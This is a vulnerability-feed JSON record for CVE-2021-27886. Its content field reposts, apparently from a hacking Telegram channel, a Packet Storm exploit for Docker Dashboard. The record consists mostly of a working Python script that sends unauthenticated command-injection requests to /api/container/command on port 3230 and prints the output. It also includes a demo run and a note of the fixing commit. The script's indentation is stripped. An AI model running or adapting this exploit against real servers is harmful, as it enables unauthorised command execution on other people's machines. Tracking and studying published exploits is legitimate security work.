{"uuid": "d57c08b4-1046-4b91-a15d-c7bfbb87c347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-27886", "type": "seen", "source": "https://t.me/hacking_Attack/15756", "content": "Exploit Collector\nDocker Dashboard Remote Command Execution\n\nhttps://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png \nDocker Dashboard suffers from a remote command execution vulnerability. The fix is added in commit 79cdc41.\n\nMD5 | 4c29691af5fd9c2080f1f24e78725fe6\n\nDownload\n#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n#\n# dockdash.py\n#\n# Docker Dashboard Remote Command Execution Exploit\n#\n# Jeremy Brown [jbrown3264/gmail]\n# July 2021\n#\n# \"A simple web based GUI for managing Docker containers and images\"\n#\n# Note: this app is NOT part of the official docker product, nor related to the\n# Docker Dashboard UI in Docker Desktop. They are different projects and maintainers.\n#\n# More info: https://dockerdashboard.github.io\n#\n# -------\n# Details\n# -------\n#\n# The web GUI runs on port 3230. There are two main issues that enable the RCE...\n#\n# 1) Although when starting the server it says go to http://localhost:3230, it's\n# actually listening on the network interface by default. There is no auth\n# so anyone with access can start exercising functionality of the app.\n#\n# 2) Normally these controllers are used to start, stop or create new containers.\n# But no validation of parameters or filtering based on acceptable commands sent\n# sent to docker on the backend enables clean, vanilla command injection as the\n# running user. Many of the APIs are vulnerable, with the most notables ones\n# being /api/container/command and /api/image/command.\n#\n# ----\n# Demo\n# ----\n#\n# > ./dockdash.py 10.1.1.102 \"uname -a;pwd\"\n# Linux ubuntu 5.4.0-48-generic #51-Ubuntu x86_64 GNU/Linux\n# /opt/docker-web-gui/backend\n#\n# CVE-2021-27886\n#\n# Fix\n# - commit 79cdc41\n#\n\nimport sys\nimport argparse\nimport requests\n\nDEFAULT_PORT = 3230\nSIGNATURE = ('X-Powered-By', 'Express')\n\nclass DockDash(object):\ndef __init__(self, args):\nself.target = args.target\nself.cmd = args.cmd\n\ndef run(self):\ntarget = \"http://\" + self.target + ':' + str(DEFAULT_PORT)\n\nsession = requests.Session()\n\ntry:\nresp = session.head(target + \"/\")\nexcept Exception as error:\nprint(\"Error: %s\" % error)\nreturn -1\n\nif(SIGNATURE not in resp.headers.items()):\nprint(\"%s doesn't look like a dashboard server...\" % target)\nreturn -1\n\ncommands = self.cmd.split(';')\n\n#\n# \"out here trying to get a mf'in scholarship\"\n#\nfor command in commands:\ntry:\nresp = session.get(target + \\\n\"/api/container/command?container=&command=;\" + command)\n#\"/api/image/command?image=&command=;\" + command)\nexcept Exception as error:\nprint(\"Error: %s\" % error)\nreturn -1\n\nif(resp.status_code == 200):\nresponse = resp.text.strip('\"').replace('\\\\n', '\\n')\nprint(\"%s\" % response)\nelse:\nprint(\"something went wrong, server returned %d\" % resp.status_code)\nreturn -1\n\nreturn 0\n\ndef arg_parse():\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"target\",\ntype=str,\nhelp=\"DD host\")\n\nparser.add_argument(\"cmd\",\ntype=str,\nhelp=\"command to execute\")\n\nargs = parser.parse_args()\n\nreturn args\n\ndef main():\nargs = arg_parse()\n\ndd = DockDash(args)\n\nresult = dd.run()\n\nif(result > 0):\nsys.exit(-1)\n\nif(__name__ == '__main__'):\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:33.871340Z"}